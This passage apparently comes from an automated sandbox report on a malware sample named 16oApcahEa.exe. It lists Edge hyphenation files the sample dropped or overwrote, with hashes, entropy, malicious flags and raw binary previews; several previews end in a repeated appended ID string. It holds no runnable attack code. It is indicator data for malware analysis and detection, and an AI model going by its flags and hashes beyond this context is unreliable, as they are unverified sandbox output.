.w..nq,..O..LVl".Il..s.......m..X>...\h...h.....$Z...#.......h.sK!....'......^OU....@.`.......8..~..S..d.K.Y<..<..B........C`..Y@....P4...)...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-us.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	60136
Entropy (8bit):	7.9968030288630825
Encrypted:	true
SSDEEP:	768:uU0PkZr70esERbcrIU5L0gEjrAzK3CKGE7tMT3GRNmtbKwYgKqcGTj6DDYRyALFb:xZPq8cK3YOtRYbKwIgkDY13fHqcRX719
MD5:	642BC3B9B08E80AE0005A22512F792EC
SHA1:	29CFC3CC5EBFFF0AB674266D7244BCA47146F272
SHA-256:	EB36C1E4BE1137B367E0C4871C072EFF93EF52E2A7905531668B190C1A152D0E
SHA-512:	D9DF0B05AFE5637432DC42F851F54131CFD21B022F4269CDF2B042081373B89C2E93EBC3844877E7F9950E999DF1F272BD933B9B330DB7ED89288D8178CDC0BA
Malicious:	true
Preview:	hy.b......zu.:Nb1......?>....h).k{>Q.y$.M..XS!1#.qL.....=N...U%\|.:..Z.}...u$..9.......(@F.h@m....}x....V..z`..2.\w.......e.T.......... J..........R.....z.R...mq.U~..[.$...r.sh;.....P:Wx+..v..A......Q...r.......bb..u..).......Xy .?&.qd......qM0.G0...rJ>...G.}....+..ZV.....6ii.....#.I......?..]c.lT.<;.]..G....-.+.c-\yW.e..n..PWBi..._g.ln...rk.....K.A..Z.p.u....Z6mJ3..'....u.P.v.H.^!Z!...l....lU\-Q....1$.+f.^.6...[o.....9.!%......".O%.NG'i..O..R.q.,l@..]..Z.;.dm.^#.W.iP...M..PB.:O.......)..S..4H=oy.,H8...6..9.".N.x....k.....mC.-.Y,..U...cX...a.T.>...0...v....A..e?z......;;.....x......s8.q;.R...-...2.q=.7FN;.?..Pn.b..2.f.o...@R........x.!..@v.....Q=4......\|.X...q&.......+.9.!.^..jj....-.......<.#...fr.R..`.....5.l......*L.\|B..v.. W.]...y>v...T.^.....z..iy.m.BIJW....T.o.-...R.).M..\............u.0F'...(...cB.(..UQ=..._&......E...Y..9n.pV8.].../...x./....(.Et.aLe.L...;.jo..$gH)t..fBm.s.........e.N..q..cS..@.iH.....h>..B.H....`U;.S..{.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-es.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	15329
Entropy (8bit):	7.987485373675018
Encrypted:	false
SSDEEP:	384:aca0zo2rqBMqmPmLXMjz6+ax7If631Q1074bk2PY9Mq6B4F:taG+BMqLLX0z6+axM81Q1k4o2PY9IB4F
MD5:	4F064E5BFD44A8EAC9AB1B54FAFBB17A
SHA1:	391446A3C59FE37C1521F1263575CA7478AEAF88
SHA-256:	740AF5A3FFEEF486A966C4531AF0B0C92F1D12904029F39336B3EF41580BB44A
SHA-512:	5000E252FD7D1FADD71FC26DB7084893E0AF0761A4DF98D6F33510F95C6985D82D2AA8872AAD0A864E25BFE0215505EFFB809250926EF63516ED547EF1027E26
Malicious:	false
Preview:	hy.b.mo.1.3O.Q.[.6..Gg.T. ...b.... \'.^QXz..'.m.<CNy..X2....\|7^u<7.3....."pp.#...gE> ...ZV..K.b.6(...o.Y+....$u$.d,4.q...Tj.....@D..z....K.\|@...q~\q=.".c....gO.N)t..U..l.vE..xt8.K..O....^......$.....>.y...&..3...]r.lk-...T..@.>k...t.......`...#.kz..\|.....r...#......A...0..........&....5.... .a.....(.]4.d.... WR...(.#..#....._.>X..ag..<;...Q.]..{u..3....s.TYj;.P.;.lb..(~.n.`....?...V....G.R.s.w....6..0..d.5..$.!...-.F..s..#ah.G>T.y....1....N..Pqk...=...9.wZ.H..'...0L..U6@...O.)]H)B.....u..."..AgR.c.C\p.............I-;X.....5xZktl......W.\|6Scm.N.K......8.$<......y'..}........$...l..-..t......t.....7........hP0`.@@...I.uXl....@_.`..}].m./.....\..).p..N.j.S.I..v.iH..!.9a.I.....NB.&.#..dw.].....jb.+.q.lS..3.....F..Vu1_.....yj.....e.V[....S....a.FW..q5...1...g..P....34.z..N..o..Y....&..Q9u..,J......>.%..l.l(>.....i....x.....z-.1........+!.4......E..c1..........k...-....u..pT.J.aF.....C9.w.)...j7/a3......\>f....+[,[....bG.X......1........2.`q..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-et.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	21755
Entropy (8bit):	7.991347253338634
Encrypted:	true
SSDEEP:	384:rEkR3Xw2Af4MbZx2RBEDh/UJBAhTwD+7eHRvMOlNBYFIFIelMKp1M9SeYbn:rbRH9E4McBC6BA7eHJMABfrlMwneen
MD5:	548A4F41A046C276ECF49488C621B5CA
SHA1:	1E903B2271D2E6B65075360A52DA88B13F15843C
SHA-256:	AAE6DF71E825B51E45B75E52F186CBF66FC677BA2CC2370D6E5998FFF485E5E5
SHA-512:	CEA106FEFB43391B59BCED48AE7E66EA7C714E32D9B9809E39DE3317980AE16D6E6B90B96FA4F8E46D646526AE3516425D1090340DF33096AC40BA8B54E99016
Malicious:	true
Preview:	hy.b.....e5....a...<.....^.~.Y... ......=...kY........a..G.".".hD.....G.?.5.......U...k.T4......vE.[.`e.5..e..T%iy.k...\|9....>[...n...f.}................k....Ds.(.b...<........<.b.......e.\|...&bs....}.5Y........V...H.X...\6as...w.k.r.\|.2.3B.V.".\.E.eI.l..p."#z8.g`E..j.q.~......w.75...~]..N.$.)q.'.....=.,%....Oz..&..3j...+..$......o......x.1...6.....h..T.....4..oi.u..Y..)....+..$:..yf....G..8...../..F..wS@....#..K.0...X.....eH\|&n.....0.hd.}.MZE.S.m....%.C.2.......di........m.........5[@j.8.4..m..w$*..?...s......fL..oOZ..............?...M20...,.a.. .....~r.8.-...D.tK..;. '..y...z.O..vD..U.S.$9v...k....%.....B...:.{..Nw..^.Hv..e..v.P..}...".[...f./03n.Qu..B\|..`2..9..N.......2...ZF.._>..kA..@...n..>..1..-..=N......w. V.D...\|.?.Be......WS......w..yn...I.PX.3..F.C:P-.o.3%_..G..>.Asa._Y..N.N.....1...Jo..>.......070..........U)......-.gIP....&..>a1...........C.yK..zw.\v.............k.Y.3...-.....!/.Pm..Z.F]...cR...e..3.e.J.R.Y/..Y.....$.L

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-eu.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.797652355146027
Encrypted:	false
SSDEEP:	24:oJ0ge/EIGEXV7Uvbreu299DGZ31zo9pbD:oKXFGyFi6pDuz+JD
MD5:	560E79D83755D3123750AE68A5A0B63C
SHA1:	AC80EB88912AE42AE423B9808A16F3E39FB92A76
SHA-256:	AD292AC5753936C06CADA541014B7D9DE4F34D1934680BF8F3577DCA05B76A34
SHA-512:	31694533E33E98D844FCFB8ADF777EACCA36F3E3D9CFFAD0064F99DEDC11683EEE9DA0FFA9038AC519F10C0F65614E1D4D09E14E0C431130F616215A09BD600C
Malicious:	false
Preview:	hy.b...x...C).A=..A+...;@...{{.o..C.4....vY..!d@.....ei3$n....S.....+.R>D........+s..?@dU!....N\..h.._f.0.>H.[......q...!~.2...9..=Qsw..F..O......p.o.0`.'@...<.....s.\..4..2.9......K..P..b.h.a.Z.`n<.&`..T9..84..v..6.....,c.H.......Z.~.]i..-...4.....X...d;.OvF... .s...zV..&.fJ`7].......m.z...>Y).'...}F....\|d~.;..F.^V&.(.g.8].;^.IG...+.N..YL.#..a.G.......).z%..x\.Q..[........i....RF.+j.JD7...n..ZV..r..,.i.@..o..^_.......5.$..$.l13.Ts..K..Xkt....dB.%_..........2Bsn...fG1.H...jBI.PX.zZT..c..w/....#..iR..K......W.J..;.~...^i.hV..dw...E....$..x.tH.\|k.Qt.t.j.(.x......e=...J.^...N.+..u...#Z5x.=..\..l.p.?...k>l......e`o'2....\|.<}.L...\|.X..'.[....:..2..Gaf.(.hnF..,..[.b).....2..trn.....66.p:S+.".0.(d).{..Sm....b.K....A.D.2oP8.pnnof.<:...u^..JWQ..a..W`.............!.....a..]@.k=X+._.....8].X.zfu....R........u........I^..bB...W.Nl....eI..&...i..2.......9o..[..../.......OY..LxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-fr.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8499
Entropy (8bit):	7.978932768313552
Encrypted:	false
SSDEEP:	192:gmOAP5JwtgjHClXa6nJFXwY11TN11wcE25P370yMAC+loJ5N:PmGGau7JbNwy5PNMAC+2JH
MD5:	0471C23C1D1148ACB83F518C94FBEBB9
SHA1:	B8D476B57C0D0DA478DC09D7918FC27F15E7958F
SHA-256:	E4A270BD9E3306C6041F195A7BB6C175B27143EAF00F23CB7DB77B6760C68CA4
SHA-512:	914FB74F1A364AABD08D6DCC49636C3B51E7C2DA6260F67FF24260EE842467C29CD92C2EFAD59FF1A70AEA9578574457B4D86039CC3F3CD5E0D32440DA98AA88
Malicious:	false
Preview:	hy.b......[...{.,.pj2..Q../].p..QeF.....J.X...TLw...K.4....<8_.]8...-..@.?>=....J....).+.,....4gRQq"...>ih.%.H..8..3..@..;.uU.F.9C.."Ifz..yQ....1H8...L.._...\.t.....R.~..Y...I+.&u.x..DL..u#.:....~'......0.&..R.+BA}p.......sW..=...g........fK..M....t0Y."..!.s.]..I....3}a.e.<<..6..@..zz.......+.r5..+....KU'.{...Z.^....R+..0\|!=..h6[@#...g.........rX....g.....FW..m..%....'....Y......0!...u...5..x.?2.T.. <.........6...q.z..[..?.QH.'S.....yo#.`I..)...73AU...\|]..y....T......D..v.....d.2c..OqE.D.'.FN...W....+.B...8.AB.2B.F.+...h..N.n.K..WRP6...^.0u....g...Y..J..z...m..r........5l...<..@.V:..h3.k.j...B2.EZ.:.^Ra.zre....e.u...d....+..~.ZWb7h.-..N[.....?.oR'.q.G..NfX.m.\...49...v.nf..(.O ...fk.N.T?m.....\|R.C.........h..K.].9.ry..1...)t....+)....C...P.-........a9F&F....OBn:....%%...s...I.x......]PF..6.:.R.[..P.l%N~.w...d}.#. R.J."....c..6.X%cE...[.i..&@C...[Y. ......;..x\|.f...oT.&v.b..3..fp..H.....J..3<=...q.G..%.............Y(.K.S..i...9.....\+

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ga.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	36158
Entropy (8bit):	7.994404212394881
Encrypted:	true
SSDEEP:	768:rxrYidc07COKXiHo2s5Bl67+JDR8n1V3XuIJPJinNJX1egYFnrvv:iG99o2s5W7+c1ltJhkJX1WFnbv
MD5:	60A72B4EA21827E76357BE9C9F0F703C
SHA1:	1E3ED2608A9FFD3E97F5C4E7310E14CE40956056
SHA-256:	C19C7FB537B95C9B9ED9CEAFA6DC7744FE119E9A85B0E71DA2D4F0207F22EC46
SHA-512:	D48AE01E35CC5AC32B3BC1E716BF1D9EA693025FE510C2D5B06839B1AD428C39B07611188863F7097E45991E6C97FD1BDF330880A048C2B49767937D002F7A4D
Malicious:	true
Preview:	hy.b....t.J......A.....`.i..\..C....Fts).".v.^J".W.FjF...H.K....1......~.4o.o.....6.(.8.a$4.b/vw,...`.^&........0.T'..=l.i......6B#...i.&g.L..J_......:...!)..i\.......U..+..7.Yze...... ....UA'._...W....@V.mA......^...1?./...._....7.D..N..o2....e.tM.....<..$fq...K.B!....m..u3Mq.....4.L;.P%!...P....SR.f".o=$K.....R..:..i....AC.......0....g.1.W.;.....kG.?.......Z.&\|Tm.b.hn.{.Y.F.7.-......E.`...m.V'>.M].z.D.I\......I..!.A.6R...$x..ERr.e^..{..}(.<B...X.c..,`c.c.]..l}....8..J...V..sZ.H..>wU..[5...U..v.....}..w=@..{m...'...Z..+...k.T...N..Zl.....0\.U%..u!..P.....g_.T..;....M%.......=...i.0-V?..L.0M..Z..X...A.........~b.h.@.....V....r...\<v...ACp.,....Vz....5h..>..]Q.]4.T....I-e.......<.d...[.....sqb...Pcp'...+......Q..W.?i...P....*..6...,.......u..V..;.W1..9..f..).2..."...Z.T...K.).R@..5b....xT(9.$6b..B.....p...>..BC..}..d."j8..0...P...N...NfK>.1\&..j.}..}.....CjEO....W...3G.4.h].0w..~...mAZ..\|.Ok...t.......gD".hU.t..O....@H..x.."m...0.M...G.O...ND.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-gu.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	989
Entropy (8bit):	7.77691565998535
Encrypted:	false
SSDEEP:	24:kPd32au77pimn3a8MZhLJLNdfl8TCjlxJMSXeSEwGucKO9pbD:kPd32ay3VMhpd2TChxbEw/oJD
MD5:	FD5A575653304AEBC18E8FA25254A862
SHA1:	37FD803DBA34257C228FD4708670355891143443
SHA-256:	0924A93AF2F2667CC82C3EDF5C9A8B8797BA92EE4545121E5C53C5B54CFCCB8D
SHA-512:	5628F87CDEE7F08F23D0B36025CE62A02250C4B3C508A650FD6FE5866DDCC0DBC361214391C07FBBC8A5A2BF7F4A6210112DF57DE97D11F5161B34C591F7C998
Malicious:	false
Preview:	hy.b.m...}MI.......?....:.......=.,.J..(/..M`....o..kg.:K.v[R.W=..$.~....G@.3.....=.q ..g\...l.....\\..7.........7.....4..x.....#~.......W.Q>.1W.}........2.V&.8..#..b5....!.9.../WU..=.&.6.-!X........:s4.,.I.@3.v.?.Q..R^..;......).o-(.[.(..\.i.@{...A..eiX......d....p......."....Jj....UA..d%b.lr(.:... .-.A.+..+V/.l.&6.K3.Mf..X"^.9G~..=.?}B.?..)].....+{.`..O....b..SX.m..F]Ib).".....r.]...,Kg'>J.C.#.[...s..\.....C......Hc.........5.#..).=$..T/&...:x.....yo.m..Guf\|/. ...'...w..e\|.Zl_...p......-9O..l.!.....u...v..Ju .5...s-S.Rf..v9<.&6..a'.(S5....x......m...%l...T....O>xP.^nq. ...^,.t..s....\..i....@.D2.'.&..7.Y.G....p...#O...D...FU....6.c.MF...QQ.sB]...RA.H%=OZ..".d..... .@....l..).I...&..V.w:'........F.....td..y.f.=Ars........j.]...<.?8.xs.9........9.......7...9.t..d.r...w.Z.-$..1O.G. .M.x{..l..\|J.Q.g.$..7.Q+.&2..E.(cA..6.<=#...k.v.oO.aLP.DI.. ..-...'\|xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hi.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.782011542357793
Encrypted:	false
SSDEEP:	24:UblQDZrn5HQQASJu90BygkjNww3ZmD61lUcLIADctreQn9pbD:Ub2V5HUX9wwgDPADcxJD
MD5:	96304CDD68384ACDDFAE1837F1D6C4CB
SHA1:	5A5B8E85F0741285DB195AE6DB02CAE2F0F7C9DA
SHA-256:	28E0143C0DC068F4A9549ED3902BDCA3904F6308085F9727F5E07A1EAF010744
SHA-512:	442B157ECF100B5040FC6CC5E64BF9F24DF530DCCC41B46A858B3F578F2001B68BDC253021D5F2B277F629BB081C4C479DD297EB46AD87F77E44F657D4D45EDE
Malicious:	false
Preview:	hy.b.I.gMv&>.....A<.....9]4..%.J'P....%Eyn{q....../......f..u4^.....a.0...J..Uh#5P...b..P\|.".u.D.Y..._)..f6v.Y..%.zn. ....}U4..g-(1u..DC...u.OM.6......]n....2.6.:..L......N$.?.a....`.`....G..Y......)...%..Wy.3.sB.n.g4.;h.T=....\............M..b].....s0l...3.\|..CI.....^.7..7..9...0..5r..v.s....J$t..T3.2.E...e.Ks%J.#@.Y!.....t.9%./r...B"/L...1mu.....B.#.OL...qx..P."bb....Bd...Ev0..T......1).1..\.M...`u.,^..N.... y.b.d..w..K..9r...+,.'~.T..yg....Z...B4."...O.A..ve...)b....;LM..b.......xE..(.yD........8.^.P..1....~YcG6..>.........>\|wQGLKC..a...mh...Xux..}.p.fuo....<O.Np&.......s.x......S.._u..N&..J....ok.I.-z..ht..k.An.g..6..8....c#\.<..~Y.!.V.`X..8....-....-.>..0?J.k.5.i...q.j.BBj...yZ..7E.G......../....5....Z..l.N...TJF\|..X.U.)...C..O....V,.....V.~.l..d.F.......)5hz.%.}.].5..yD\|.R.@_\|..wS.hJ....q...c\D.d$..`/d.a^g.....IW\m.........,.....{....I..>#....1Bo6}.6..PQ...c.\|...z.*....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hr.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3365
Entropy (8bit):	7.953535616516924
Encrypted:	false
SSDEEP:	96:yOZmJR58cZtdRxic0VpvZutXiUhB1HSTn2V6PZJdfp:yOS5TtdjKfRqXiUhB1HSb2oxJZp
MD5:	62420CE634DCB80656875A9A4FC1D815
SHA1:	4ADFC49CC7BD3EE9D82FC616582BF9C52BE52470
SHA-256:	BE48EE264A3BF52EC23197C505A8BBF027F9AB57200F0C0D6B3721E07B2E9782
SHA-512:	46D5906C9602050D61AB255F59F3E570E69EADEB361A5601096C1250877FE6004AABE341AC5178FDD2669F2A6285DBB4C89899AB62720B1D916C43FCA7056F45
Malicious:	false
Preview:	hy.b...\|..l\.F......zT~....k.;..P.)...../......gD.r.J..#t.b....g......A..,.<\|g.....C...R...N3&........'.....$.\........p..........0zB..bn^.4.....w.K...4W5W...g...'!. .N.\|].......f21.C.q..$1.....q.f[X. -........v..e.H..b...2....[..sQ.P\|S............w92). =$a%7g......x....\|7V..}......]..Z..<)..{No..{..f..g?/..r....s'..L.......2...r[.@..}.V?............k..lV...8.Zy..M.F..Q..8.cb..UQ........_.5....V..N..].&...U.cSL....i..D.v..kjEh=.9..%..;A....q.....UP........(P.L.........h......;[...%..K.hT......#..uR.9..z...,..G-.\|t.\..P..}.t...4...d..`..a\.,.F.F.....Z...L....$ `.r... 73.n%......ya..!.-.(Cy..s..P!......].!.q.h%.~..e ./c..P2.Ma..;..p...\|.[.t.<..uC.)c.I..m.u$`FM......9,y...._0..<..).!.!....=.fjN.[a_."~.........k.\9.k.d.N.1.5.o...$.C$....(....Gh..O.ESy0....Q.F...\|.;...b-a....i..})..F6..[...>4.lQ..=$...Pw#.I..'In.WR]~+v..4..(2..U_.M.._...M.....>...q..."...0...g..{J..P....0..k.JI.%.?Y.^....'mV.=./...8...!.....m._..*..IQ.\.uu.x._yY5..'....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hu.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	317585
Entropy (8bit):	6.890155114755818
Encrypted:	false
SSDEEP:	6144:ipA5FNSBEnwnWdhC5fxnkU9Nc6yzRcOmpTeIrDh2ky5khBh13kwTbqgT3Gfhh4ex:ZhSqwEQBkCXFtuWlAh3x
MD5:	9428D0915EC25612CF9B8735065E82C6
SHA1:	00A917B8726F0C7281E9098A9E152C768D0E2078
SHA-256:	EB9E1E32698A39C3D31769821E0FADC86AD1EA0C297B12AE3915185EDF887790
SHA-512:	1F74E3FEEEB58AFE611F165ED216EDBC171DC2085BDF029C392282F1108579C51767C562B74E156576440091A506AB8DC612F77AA10F56D65768FEF3FB0836CE
Malicious:	false
Preview:	hy.b......}SZ.0..8-.L.a..l..s.....AF..._...........\s9t.....p.....zQ^.l..~..).&..!d.AqB..i...Jm..A.f..0>.=6...}.?K...z.5....r\.5uL?..p.....o...5........nT.Ok...._v....?..;.UW&.K.q.#......./.I.g...~v....q.>SA.......^K..(...^&xe...<.t.....?...u..Fi.^v.(.Y...a.j.>J.w.S.....Qm.>..S.P<..0%uF.+.3...&i.;..>..DQ..m.P....[<Y'.u2'^..=..i..e....+..2..(.F....c...].&.T..6z.4Gr..>..k...$FN....a.....4..=].&..9}... X...n..;.7.....+...j?.,..p/!..<....&M.>..!.zm.ht......O)..$..U...O<[.)<M..c...h..p.Z2..a...?..>6.w.......76y`.;.C.?.?.....j...)..:o'F6C...V...{.0.r.p..pKs....fc._..@^Q...Sp.%..d{.....t0........7.......?.....y1D........8.w..r<..c~5.i..\.....p..(.!~.f.O...D.n)..EV..jR1.6..B.J_3.m.)..U.w.[s......Q.....0....[.<..p.."..opK-.?..V#...Y.#.P5.....i.....5.m......{M.........!...(9.........c.J.. ..{...F#}p2.5K....9t.?..`h..f-!U..i...F}6.(.....1n.-.b...^P>./M.[E.kK.\...+.3}.l)..m.]D..k..M....>A.k&5..W.-.s../6.An.Wo.......D...}#....f....D...>T.f....C.+..Q.J.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hy.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	7.7246781860703955
Encrypted:	false
SSDEEP:	12:eHUZuiWg2eKqssWe1QjnwN65RHPy3J9D34wHEqc4UzqPyFgOC/UqDlyJokE39M2X:ezPLqHQjnwYTHqj0XUUGOFmKJC9pbD
MD5:	50AFEBD7E23384DB4DDE2DC3B0D11F4C
SHA1:	D6543FE1C0A817FBB93740C1775F514E2DD6427C
SHA-256:	53099B11B74E828454B116EC3A24AF32F8761F9F897F3F0943A83A191D31C14E
SHA-512:	21B50B8B69E50FCC9D5781C2DAFA2100787D99CF0BA3F21C751BC1EE9E1D7184C716A1AD0C89452862C17EF6125FB3147B56F610C1D6CB12D758B30C956020BE
Malicious:	false
Preview:	hy.b...L..U.So_MI.]........iK"........szeH8.g}+..PT.y_...iV.^Ja%..".$...QV.nt...+...K.8.c.pC...o..tn.d.W.....S...s%.a..O......0...;...4r0.-.Fr<F.".........:)...q...C'.n.>.Q$Mf...f..w^.f.7./...q.......m..>o.......[D.e.TN.~^h.c...$..{..(3Y..Sjro..l)Z..vx.m...=(s....+U.{..rM..#....7..R.....L}..>.'..O=.)..fV.....#..n.......F.........g.[.....>..\.......B..c..."zl.W4..&..t..do.&4.. ...\|rI..i....Cd..>....1.......Z.U.!.........).3]....\. ...}{]..^...=.&._....`^U.d..D.I`R.e...'....c..C... ...Jz.X/.(..s.;]...C..Y. ..Z...wj.... .s...=.U..g....f..%.WJ.HN.......w..R8.(j<.......t1....4...U...Fx[o......[.pz....E..?t.P...2V^...M..1.o.K...m.Y.B.3.c...&it.......)...~.52.K.#Pl.p..~.6"9..V'......u..IIP....(..HN. .([....3.V......\|..=..PP.X#.....5...2..H"...flY..DV6..U.?3.V.@.$.,6.d......7.-^..4.,.1m..;.U.5..{^.rRd...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-kn.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.809710476452959
Encrypted:	false
SSDEEP:	24:cPuueIsEMlnOsTF+kBNh3NcYidR+RDVRLN7G9pbD:cP7WzOs5+INNNcduL4JD
MD5:	25C0026E657A2D377017B283B806CACF
SHA1:	B8657361F5104625F72C961EFEF127D2A9B9A356
SHA-256:	06B9A0CF243F0126D775220CF03B4CECA4D699BD2F65E66FC55F869C57C33822
SHA-512:	5E04FBDF6507F6AE1E981CE3F68E986EB4BF80025A43210C9989BCBBAFC3C4B073AD3AD725244EE34B4AC5D63B26FCC043AFDBBB5B0A7C6A2ACBA5CD3721A4EB
Malicious:	false
Preview:	hy.b.j/.\|F..-...x..t....;t..Hi,...O%Q.....:Fu...A.?....:+...?..`..Cv..n......... .H1.....c.M...d.H..,s.Y8O.......e.\L%..N..;..2o....W..p.p......6.C....f..."+p....AJQ..._.N.>zeI.un/L...-+J..._.3Ax...`..U....F..6.k.5zl.t.4I......t."../.O..'{MN....d....S.......')T>H!...s.vqS.s{....gm......&K..;.....@V......../..<Tf.....!...n1~..<kl..a.7.z..c.bs>[.n.....@c<U..n.....l.z y...z.!..#g.8..P"..G.Qi...B.)./4.Bno....x.eo.3.sU..o.]..J.D...p..D..w<j.c.Ft._Sr>;O.....p..B.G....v.F7........Z.t.....@.......Bwp..e....?S.8....9S.~!.............}.L..9..;..}6...]..\.......0...@jl..tD..}..).69..N.e.#.....e.y..$.\|..vw.`(.)..R..Ul4n.w.k.....a.._..Q....)M..{.&.K...n.o8.'.e.t...x.F>.)..TH..A......}...tt...7W.I.U........]..W.-MLd...~Q2\|V.........<y../....7...?.....o..Z......i..c..ty..!N.rp.i-.f....N...k....h.....-..ZG..\|....Um..~....2.[:A..j.h.....O?.&.0....t...7..i...0....2.C...0........!cN.y.....~..G..X.g...[....l.k3.xcdIdDNFh62dy3iJsba1COhcfDENsbjPH

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-la.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2173
Entropy (8bit):	7.903298639401153
Encrypted:	false
SSDEEP:	48:OiMwVStHbHfk0uCFc2F7ZMrlf3qm0Gy2eoAO9brGqW/6bQK661EaJD:O5rbfkAWadUlfqm0ZUACbypibQ+u8
MD5:	2325A77866CCB9A2F832952A2737EBB7
SHA1:	51AA9C05237B5BA0142F2EBFBC91A906CD15BB90
SHA-256:	3FE212356851718E6B53EC12FC9446E1806A58558CE320C1367E687DA9D5CD8A
SHA-512:	2A2185DF1D32DAB27721E926979D119D04A8A09B7EFC1E6077A9A11430EA07A274E41FC7174669F2C65ADD8D7FF82C7C62A31C2007EF6C75B0C8DD3E9027D518
Malicious:	false
Preview:	hy.b.n.O\|y...mV.T{4Y...b.<..+E.....8@eS.ON......%.....@.8.M..l.)+.#t..e.{Y....f;....X.#[..l....!...u...c.(....A.......GJ.L..{Q....].a.{@......`.?.Y...&..o.^h........6...........v..~x.Gi1..,.....G.......U ,......$..&=.n_..+..s.3.........P.P...C....-..aeb).%.#..y..m(...... e}.PT3..b...J...0...............XdA.[...i..w(..D......d.9...."...I.'....@.V..zD..=..uV....J....."tt.n.K.....g.T.,u1...G..... .L..F...B..$!..j.XLJn..3[.B@.T..=..L.g ...T.w]}.Q.........+.y.....w.0.F.....8{E.'.!kO.15pgVR.......{..I..........:7.......:.xV.......Ho..]..[.Ukj]V.._........GC...[......O..........J...7&..U.......&I../C.o.,...>......._.m......aU.F.<A.&..l9XK.G(."..K....+.:[..C...iE.&.d#.:.E.......1.s..l..9{.....O&..MNB9....>..$:...3.j..e/~..`Y.l.\}..4.L..-..O1x...F...e...$7.m..!.H..;..1e.........W-'........fQ.K].. .H...T.r..s.#..Y...]ty..}.E...H..G...GV......e..P...Z...b...Rs.Z..-Xo.'...&.d8.Y.-....0s.*.Y...at+...~..D .$...Ci$...2..2_.)..t..Z...sK.#L

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ml.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1110
Entropy (8bit):	7.8297937412136696
Encrypted:	false
SSDEEP:	24:sBqe2AKIJvVVQQtLADFNEcDa6ATkCM55RJ83JNuRjkRJ9pbD:wqaKCv8UqF9/ATkoU4RzJD
MD5:	2C682116007274EBA4806D16070627E8
SHA1:	380756D6A6EF7B43DCDD992CCBFA9D6D3269E875
SHA-256:	15237FA51FF1E1998D898A8138D4BF848B1DBA8CCDA28E5C48D7DCC841B04550
SHA-512:	DE648701D9E110CB68726B69342958586F6AD9CB20FA14C08F61C5322063F51933936601BB764FA442F293A508A078FC3D1CA2F22971EBBA5765DD388CCB9662
Malicious:	false
Preview:	hy.b..y..z.m..'..I....k...b.+lj..].!......>f..sf.^@N.}.x..sh.....y.......t.......k..Et._...~...2_.7K...$4n;....E.a$....vWE..K@p.X:..`.6@M......D....3.....f}Y.\.0.A.N@...............`..@.X%...(.U.....6K..hB.)..,r.+.P...fe...XL\H2j..._...1@.o....b~v..qv6zf!.4....>.....{KM.)(T/#....2W._.:...&........b...4..R,e...............@.A.u..5../....#.%Ba.a..zx.w...u.w.X.z...Z....T....2y.'...P.\|4.\9[.+...L...G-9.C2!..c.6.m...../...x.`..o@.0.DAI..U.../....m..n.\|.L.m..:...x......p..Q\-..F..!N....G....6.}..Z.#V.......o.c....V......Q..r..>.......b../j...@.'vY.T...XAB.. .Jp....IiDW.l......\._.S}..dc.XR.%.Be...3.S8....<8....?...xv.....!.s........{s...p.(.....$d...S+t3.G..).G.B.?.C...Y.....jJ...E......;........"Q.$..Jt.Hu.U.\|..FSI...?.u. g..Ew..x....>..I*...g.\|.a.v.(.&.....'. 